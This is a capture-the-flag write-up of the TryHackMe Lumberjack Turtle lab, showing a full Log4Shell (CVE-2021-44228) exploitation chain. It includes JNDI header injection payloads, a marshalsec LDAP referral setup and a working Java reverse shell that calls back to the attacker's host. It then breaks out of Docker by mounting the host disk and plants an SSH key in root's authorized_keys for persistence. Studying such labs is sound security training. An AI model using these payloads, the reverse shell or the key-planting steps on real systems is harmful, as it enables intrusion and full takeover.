Contents

TryHackMe : Lumberjack Turtle WriteUp

This is my writeup for the Lumberjack Turtle room/machine of TryHackMe.com platform. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…

Machine

No logs, no crime… so says the lumberjack.

The machine is rated as a medium machine and it’s one of the best way to understand how the famous log4j vulnerability works. If it’s your first time with the log4j vuln I suggest, before starting this machine, to complete the walkthrough room created by John Hammond for TryHackme: Solar, exploiting log4j - Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun.

John Hammond explained how the vulnerability works in a really good way (as usual for him), how to check/exploit and so on, take a look before starting! Part of the attack used in this writeup is the same used in the Solar room instead of using the famous JNDI Exploit Kit

Some useful resources are the following

The techiques used in this machine:

Recon

First of all I run a classic nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
nmap -sC -sV -p- 10.10.100.229
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 19:54 GMT
Nmap scan report for 10.10.100.229
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE     VERSION
22/tcp open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6a:a1:2d:13:6c:8f:3a:2d:e3:ed:84:f4:c7:bf:20:32 (RSA)
|   256 1d:ac:5b:d6:7c:0c:7b:5b:d4:fe:e8:fc:a1:6a:df:7a (ECDSA)
|_  256 13:ee:51:78:41:7e:3f:54:3b:9a:24:9b:06:e2:d5:14 (ED25519)
80/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I’m looking at a Linux machine with the two ports open: 22,80.

Let’s check the port 80:

1
2
3
4
5
6
7
curl -L -i http://10.10.100.229                                                      
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 87
Date: Mon, 07 Feb 2022 19:56:32 GMT

What you doing here? There is nothing for you to C. Grab a cup of java and look deeper.   

it’s a simple txt page. Go deeper, let’s run a scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
gobuster dir -u http://10.10.100.229 -w /usr/share/seclists/Discovery/Web-Content/common.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.100.229
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s

/error                (Status: 500) [Size: 73]
/~logs                (Status: 200) [Size: 29]

There are 2 directories, the error and the ~logs one.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl -L -i http://10.10.100.229/error
HTTP/1.1 500 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 07 Feb 2022 19:59:55 GMT
Connection: close

{"timestamp":"2022-02-07T19:59:56.635+00:00","status":999,"error":"None"} 


curl -L -i http://10.10.100.229/~logs                                                        
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 29
Date: Mon, 07 Feb 2022 20:11:29 GMT

No logs, no crime. Go deeper.  

Ok. Deeper

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
gobuster dir -u http://10.10.100.229/~logs -w /usr/share/seclists/Discovery/Web-Content/common.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.100.229/~logs
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/07 20:36:28 Starting gobuster in directory enumeration mode
===============================================================
/log4j                (Status: 200) [Size: 47]

Oh finally the log4j directory!

1
2
3
4
5
6
7
8
curl -L -i http://10.10.100.229/~logs/log4j                                                        
HTTP/1.1 200 
X-THM-HINT: CVE-2021-44228 against X-Api-Version
Content-Type: text/plain;charset=UTF-8
Content-Length: 47
Date: Mon, 07 Feb 2022 20:39:20 GMT

Hello, vulnerable world! What could we do HERE?

Good, the hint is pretty straight forward: use the X-Api attack of log4j.

Before moving on I try it, I open a netcat listener on port 9999 and I run a cURL

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
curl -L -i 'http://10.10.100.229/~logs/log4j' -H 'X-Api-Version: ${jndi:ldap://10.11.55.171:9999/aaa}'

nc -lnvp 9999                                                                                                              
listening on [any] 9999 ...


^[[A^[[Aconnect to [10.11.55.171] from (UNKNOWN) [10.10.100.229] 53212
0
 `

Yes, it’s the proper vector for an attack.

Foothold (docker image)

Using as example the Solar room, the setup of the attack is the following.

As root I change the Java version and set the version as Java 8:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1
update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java
update-alternatives: using /usr/lib/jvm/jdk1.8.0_181/bin/java to provide /usr/bin/java (java) in manual mode
update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac
update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws

java -version
java version "1.8.0_181"
Java(TM) SE Runtime Environment (build 1.8.0_181-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)

As kali/normal user I clone the marshalsec utility and I build it

1
2
3
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests

From the same directory I start the LDAP referral server, leaving it open and waiting for a connection to forward to the HTTP server:

1
2
3
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.11.55.171:8000/#Exploit"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

From another terminal I copy a Java reverse shell into a file called Exploit.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

  public Exploit() throws Exception {
    String host="10.11.55.171";
    int port=4444;
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}   

and I compile it

1
2
javac Exploit.java -source 8 -target 8
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

Now, into this folder I’ve the .java and the .class file and I start the HTTP server (called by the LDAP referral server) which serve the class file:

1
2
3
4
5
6
7
ls -ltr

-rwxr-xr-x 1 kali kali  906 Feb  8 10:00 Exploit.java
-rwxr-xr-x 1 kali kali 1353 Feb  8 10:00 Exploit.class

python3 -m http.server 8000                                                                     
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Last but not least I open a netcat listener for the reverse shell on port 4444.

From the last terminal open I run the cURL request to the HTTP server with the log4j vuln:

1
curl  -L -i 'http://10.10.100.229/~logs/log4j' -H 'X-Api-Version: ${jndi:ldap://10.11.55.171:1389/Exploit}'

And magically on the marshalsec utility terminal it appears:

1
maven Send LDAP reference result for Exploit redirecting to http://10.11.55.171:8000/Exploit.class

and the request to the HTTP server too:

1
http: 10.10.100.229 - - [08/Feb/2022 10:08:00] "GET /Exploit.class HTTP/1.1" 200 -

and my netcat listener is having a connection:

1
2
3
connect to [10.11.55.171] from (UNKNOWN) [10.10.100.229] 47162
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Perfect! I used the PoC for obtaining a reverse shell.

After a further investigation of 10 seconds…I’m into a docker image!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
df -h
Filesystem                Size      Used Available Use% Mounted on
overlay                  38.7G      1.3G     37.4G   3% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                   489.6M         0    489.6M   0% /sys/fs/cgroup
shm                      64.0M         0     64.0M   0% /dev/shm
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/resolv.conf
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/hostname
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/hosts
uname -a
Linux 81fbbf1def70 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 Linux

Let’s check/search the first flag:

1
2
3
4
5
6
cd /opt
ls -ltra
total 12
-rw-r--r--    1 root     root            19 Dec 11 21:04 .flag1
drwxr-xr-x    1 root     root          4096 Dec 11 21:04 .
drwxr-xr-x    1 root     root          4096 Dec 13 01:26 ..

Docker Breakout

As linked at the beginning, I try to escape the docker image accessing the host’s disk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
fdisk -l
Disk /dev/xvda: 40 GiB, 42949672960 bytes, 83886080 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x3650a2cc

Device     Boot Start      End  Sectors Size Id Type
/dev/xvda1 *     2048 83886046 83883999  40G 83 Linu

I can access the whole disk, let’s create a temp directory and mount it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mkdir -p /mnt/boom
mount /dev/xvda1 /mnt/boom

df -h
Filesystem                Size      Used Available Use% Mounted on
overlay                  38.7G      1.3G     37.4G   3% /
tmpfs                    64.0M         0     64.0M   0% /dev
tmpfs                   489.6M         0    489.6M   0% /sys/fs/cgroup
shm                      64.0M         0     64.0M   0% /dev/shm
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/resolv.conf
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/hostname
/dev/xvda1               38.7G      1.3G     37.4G   3% /etc/hosts
/dev/xvda1               38.7G      1.3G     37.4G   3% /mnt/boom

cd /mnt/boom
ls -ltra
total 100
drwxr-xr-x    2 root     root          4096 Apr 24  2018 sys
drwxr-xr-x    2 root     root          4096 Apr 24  2018 proc
drwxr-xr-x    2 root     root          4096 Dec  8 15:53 srv
drwxr-xr-x    2 root     root          4096 Dec  8 15:53 mnt
drwxr-xr-x    2 root     root          4096 Dec  8 15:53 media
drwxr-xr-x    2 root     root          4096 Dec  8 15:56 lib64
lrwxrwxrwx    1 root     root            31 Dec  8 16:02 vmlinuz.old -> boot/vmlinuz-4.15.0-163-generic
lrwxrwxrwx    1 root     root            31 Dec  8 16:02 vmlinuz -> boot/vmlinuz-4.15.0-163-generic
lrwxrwxrwx    1 root     root            34 Dec  8 16:02 initrd.img.old -> boot/initrd.img-4.15.0-163-generic
lrwxrwxrwx    1 root     root            34 Dec  8 16:02 initrd.img -> boot/initrd.img-4.15.0-163-generic
drwxr-xr-x    4 root     root          4096 Dec  8 16:03 dev
drwxr-xr-x    3 root     root          4096 Dec  8 16:03 boot
drwxr-xr-x    3 root     root          4096 Dec  8 16:04 run
drwxr-xr-x    2 root     root          4096 Dec  8 16:04 bin
drwx------    2 root     root         16384 Dec  8 16:05 lost+found
drwxr-xr-x    2 root     root          4096 Dec 13 01:24 sbin
drwxr-xr-x   20 root     root          4096 Dec 13 01:24 lib
drwxr-xr-x   12 root     root          4096 Dec 13 01:24 var
drwxr-xr-x   12 root     root          4096 Dec 13 01:25 usr
drwxr-xr-x    3 root     root          4096 Dec 13 01:25 opt
drwx------    4 root     root          4096 Dec 13 01:25 root
drwxr-xr-x    3 root     root          4096 Dec 13 01:25 home
drwxr-xr-x   94 root     root          4096 Dec 13 02:21 etc
drwxr-xr-x   22 root     root          4096 Feb  8 09:10 .
drwxrwxrwt    8 root     root          4096 Feb  8 09:12 tmp
drwxr-xr-x    1 root     root          4096 Feb  8 10:15 ..

cd root
ls -ltra
total 28
-rw-r--r--    1 root     root           148 Aug 17  2015 .profile
-rw-r--r--    1 root     root          3106 Apr  9  2018 .bashrc
drwx------    2 root     root          4096 Dec 13 01:23 .ssh
-r--------    1 root     root            29 Dec 13 01:25 root.txt
drwxr-xr-x    2 root     root          4096 Dec 13 01:25 ...
drwx------    4 root     root          4096 Dec 13 01:25 .
drwxr-xr-x   22 root     root          4096 Feb  8 09:10 ..
cat root.txt
Pffft. Come on. Look harder.

Mounted. And it works! Great flag :)

If I read the output of ls -ltra well I notice there is a directory called “…”. Into this directory is present the flag but…why? Let’s try to have the full access to the root user.

On my local machine I create a new SSH key and I upload it to the mounted root directory, add it to the authorized_keys and login via SSH:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#locally
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/lumberjackturtle/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/kali/lumberjackturtle/id_rsa
Your public key has been saved in /home/kali/lumberjackturtle/id_rsa.pub
The key fingerprint is:
SHA256:9eCjrCWoXbpHSiJkTpOJWL+/dVici/Rtv4alRmEPWOk kali@kali
The key's randomart image is:
+---[RSA 3072]----+
|             .   |
|  .         o    |
|o.o.      o+     |
|oB  .    +.+E    |
|= .  .  S *..+   |
|... o..o * +. o  |
| . o.+o B +.o+   |
|   o.oo= . .+..  |
|  . +oo.   . .o. |
+----[SHA256]-----+


python3 -m http.server 80

from the docker image reverse shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

cd /mnt/boom/root/.ssh
wget 10.11.55.171/id_rsa
wget 10.11.55.171/id_rsa.pub
cat id_rsa.pub >> authorized_keys

ls -ltra
total 20
drwx------    4 root     root          4096 Dec 13 01:25 ..
-rw-r--r--    1 root     root          2590 Feb  8 10:27 id_rsa
-rw-r--r--    1 root     root           563 Feb  8 10:27 id_rsa.pub
drwx------    2 root     root          4096 Feb  8 10:27 .
-rw-------    1 root     root           563 Feb  8 10:27 authorized_keys
chmod 500 *
ls -ltra
total 20
drwx------    4 root     root          4096 Dec 13 01:25 ..
-r-x------    1 root     root          2590 Feb  8 10:27 id_rsa
-r-x------    1 root     root           563 Feb  8 10:27 id_rsa.pub
drwx------    2 root     root          4096 Feb  8 10:27 .
-r-x------    1 root     root           563 Feb  8 10:27 authorized_keys

and from my local machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ssh -i /home/kali/lumberjackturtle/id_rsa root2@10.10.100.229 
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-163-generic x86_64)

...

root@lumberjackturtle:~# 
root@lumberjackturtle:~# 
root@lumberjackturtle:~# 

root@lumberjackturtle:/etc# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1126/docker-proxy   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      597/systemd-resolve 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      811/sshd            
tcp6       0      0 :::80                   :::*                    LISTEN      1131/docker-proxy   
tcp6       0      0 :::22                   :::*                    LISTEN      811/sshd            
udp        0      0 127.0.0.53:53           0.0.0.0:*                           597/systemd-resolve 
udp        0      0 10.10.100.229:68        0.0.0.0:*                           591/systemd-network 

root@lumberjackturtle:~# cd ...
root@lumberjackturtle:~/...# ls -ltra
total 12
drwxr-xr-x 2 root root 4096 Dec 13 01:25 .
-r-------- 1 root root   26 Dec 13 01:25 ._fLaG2
drwx------ 6 root root 4096 Feb  8 10:28 ..

Before leaving

The other user present is vagrant, if you try to crack the password…is vagrant. Unfortunately the SSH server accept only connections with keys.

Before doing something else, rollback the java version to the latest one:

1
2
3
4
5
6
7
update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/java-11-openjdk-amd64/bin/java" 1
update-alternatives --set java /usr/lib/jvm/java-11-openjdk-amd64/bin/java          

java -version
openjdk version "11.0.14" 2022-01-18
OpenJDK Runtime Environment (build 11.0.14+9-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.14+9-post-Debian-1, mixed mode, sharing)